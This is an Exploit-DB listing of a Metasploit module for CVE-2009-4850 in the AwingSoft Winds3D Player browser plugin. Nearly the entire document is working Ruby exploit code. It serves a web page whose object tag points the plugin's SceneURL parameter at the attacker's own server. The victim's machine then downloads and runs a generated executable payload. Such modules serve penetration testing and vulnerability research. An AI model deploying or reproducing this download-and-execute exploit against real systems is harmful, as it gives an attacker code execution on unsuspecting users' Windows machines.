AwingSoft Winds3D Player 3.5 - SceneURL Download and Execute (Metasploit)

EDB-ID:

16570




Platform:

Windows

Date:

2010-09-20


##
# $Id: awingsoft_winds3d_sceneurl.rb 10389 2010-09-20 04:38:13Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::EXE

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'AwingSoft Winds3D Player 3.5 SceneURL Download and Execute',
			'Description'    => %q{
					This module exploits an untrusted program execution vulnerability within the
				Winds3D Player from AwingSoft. The Winds3D Player is a browser plugin for
				IE (ActiveX), Opera (DLL) and Firefox (XPI). By setting the 'SceneURL'
				parameter to the URL to an executable, an attacker can execute arbitrary
				code.

				Testing was conducted using plugin version 3.5.0.9 for Firefox 3.5 and
				IE 8 on Windows XP SP3.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'jduck'  # original discovery & metasploit module
				],
			'Version'        => '$Revision: 10389 $',
			'References'     =>
				[
					[ 'CVE', '2009-4850' ],
					[ 'OSVDB', '60049' ]
				],
			'Payload'        =>
				{
					'Space'    => 2048,
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', { }],
				],
			'DisclosureDate' => 'Nov 14 2009',
			'DefaultTarget'  => 0))
	end

	def on_request_uri(cli, request)

		payload_url =  "http://"
		payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
		payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/payload"

		if (request.uri.match(/payload/))
			return if ((p = regenerate_payload(cli)) == nil)
			data = generate_payload_exe({ :code => p.encoded })
			print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")
			send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })

			# Handle the payload
			# handler(cli)
			return
		end

		# otherwise, send the html..
		html = %Q|<html>
<body>
<object classid='clsid:17A54E7D-A9D4-11D8-9552-00E04CB09903'
codebase='http://www.awingsoft.com/zips/WindsPly.CAB'>
<param name="SceneURL" value="#{payload_url}#">
<embed type="application/x-awingsoft-winds3d" src="#{payload_url}">
</object>
|

		print_status("Sending #{self.name} HTML to #{cli.peerhost}:#{cli.peerport}...")
		# Transmit the compressed response to the client
		send_response(cli, html, { 'Content-Type' => 'text/html' })

	end
end